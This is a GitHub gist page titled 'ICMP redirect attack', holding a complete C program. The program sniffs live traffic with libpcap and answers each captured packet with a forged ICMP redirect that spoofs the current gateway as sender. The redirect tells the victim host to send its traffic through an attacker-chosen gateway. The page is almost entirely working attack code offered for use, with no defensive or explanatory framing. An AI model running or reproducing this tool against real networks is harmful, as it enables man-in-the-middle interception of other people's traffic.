Skip to content

Instantly share code, notes, and snippets.

@brickgao
Last active September 27, 2023 19:41
Show Gist options
  • Star 4 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save brickgao/1338db9922079fa2b83d4e823c3aacfa to your computer and use it in GitHub Desktop.
Save brickgao/1338db9922079fa2b83d4e823c3aacfa to your computer and use it in GitHub Desktop.
ICMP redirect attack
/*
* The MIT License (MIT)
* Copyright (c) <2016> <Brickgao>
*
* Permission is hereby granted, free of charge, to any person obtaininga
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the Software
* is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
#include <sys/types.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <pcap.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/if_ether.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <sys/ioctl.h>
#define ETHER_SIZE 14
char new_gateway[1024], current_gateway[1024];
int sockfd;
struct sockaddr_in target;
struct sockaddr_ll socket_address;
unsigned short in_cksum(unsigned short *addr, int len) {
int sum = 0;
unsigned short res = 0;
while (len > 1) {
sum += *addr++;
len -= 2;
}
if( len == 1) {
*((unsigned char *)(&res)) = *((unsigned char *)addr);
sum += res;
}
sum = (sum >>16) + (sum & 0xffff);
sum += (sum >>16);
res = ~sum;
return res;
}
void get_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *cur_packet){
static int count = 1;
int i = 0;
struct ip * ip_struct = (struct ip *)(cur_packet + ETHER_SIZE);
struct packet {
struct ethhdr eth;
struct iphdr ip;
struct icmphdr icmp;
u_char data[52];
} __attribute__((packed)) packet;
// printf("Packet number: %d\n",count++);
int len = ETHER_SIZE + 28 + (ip_struct->ip_hl << 2) + 8;
for (i = 0; i < 6; ++ i) socket_address.sll_addr[i] = packet.eth.h_dest[i] = cur_packet[i + 6];
memset(packet.eth.h_source, 0, sizeof(packet.eth.h_source));
packet.eth.h_proto = htons(ETH_P_IP);
packet.ip.version = 4;
packet.ip.ihl = 5;
packet.ip.tos = 0;
packet.ip.tot_len = htons(len - ETHER_SIZE);
packet.ip.id = getpid();
packet.ip.frag_off = 0;
packet.ip.ttl = 255;
packet.ip.protocol = IPPROTO_ICMP;
packet.ip.check = 0;
target.sin_addr = ip_struct->ip_src;
packet.ip.daddr = target.sin_addr.s_addr;
if (inet_aton(current_gateway, &target.sin_addr) == 0) {
printf("bad ip address %s\n", current_gateway);
exit(1);
}
packet.ip.saddr = target.sin_addr.s_addr;
packet.ip.check = in_cksum((unsigned short *)&packet.ip, 20);
packet.icmp.type = ICMP_REDIRECT;
packet.icmp.code = 1;
packet.icmp.checksum = 0;
if (inet_aton(new_gateway, &target.sin_addr) == 0) {
printf("bad ip address %s\n", new_gateway);
exit(1);
}
packet.icmp.un.gateway = target.sin_addr.s_addr;
for (i = 0; i < (ip_struct->ip_hl << 2) + 8; ++ i) packet.data[i] = cur_packet[ETHER_SIZE + i];
packet.icmp.checksum = in_cksum((unsigned short *)&packet.icmp, 8 + (ip_struct->ip_hl << 2) + 8);
target.sin_addr = ip_struct->ip_src;
sendto(sockfd, &packet, len, 0, (struct sockaddr *)&socket_address, sizeof(struct sockaddr_ll));
}
int main(int argc, char *argv[]) {
struct bpf_program fp;
char filter_exp[] = "ip and not (icmp[icmptype] == icmp-redirect)";
char *dev, errbuf[PCAP_ERRBUF_SIZE];
bpf_u_int32 mask, net;
int num_packets = -1;
struct ifreq if_idx;
char ifName[IFNAMSIZ];
if (argc < 3)
puts("attack new_gateway current_gateway");
strcpy(new_gateway, argv[1]);
strcpy(current_gateway, argv[2]);
dev = pcap_lookupdev(errbuf);
if (dev == NULL) {
printf("ERROR: %s\n", errbuf);
exit(2);
}
printf("The sniff interface is: %s\n",dev);
if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) {
printf("ERROR: %s\n", errbuf);
mask = net = 0;
}
pcap_t *handle = pcap_open_live(dev, BUFSIZ, 1, 0, errbuf);
if (handle == NULL) {
printf("ERROR: %s\n", errbuf);
exit(2);
}
if (pcap_compile(handle, &fp, filter_exp, 0, net) == -1) {
printf("Can't parse filter %s:%s\n", filter_exp, pcap_geterr(handle));
return 2;
}
if (pcap_setfilter(handle, &fp) == -1) {
printf("cant' install filter %s:%s\n",filter_exp, pcap_geterr(handle));
return 2;
}
if ((sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket()\n");
exit(1);
}
strcpy(ifName, dev);
socket_address.sll_halen = ETH_ALEN;
memset(&if_idx, 0, sizeof(struct ifreq));
strncpy(if_idx.ifr_name, ifName, IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0)
perror("SIOCGIFINDEX");
socket_address.sll_ifindex = if_idx.ifr_ifindex;
pcap_loop(handle, num_packets, get_packet, NULL);
pcap_freecode(&fp);
pcap_close(handle);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment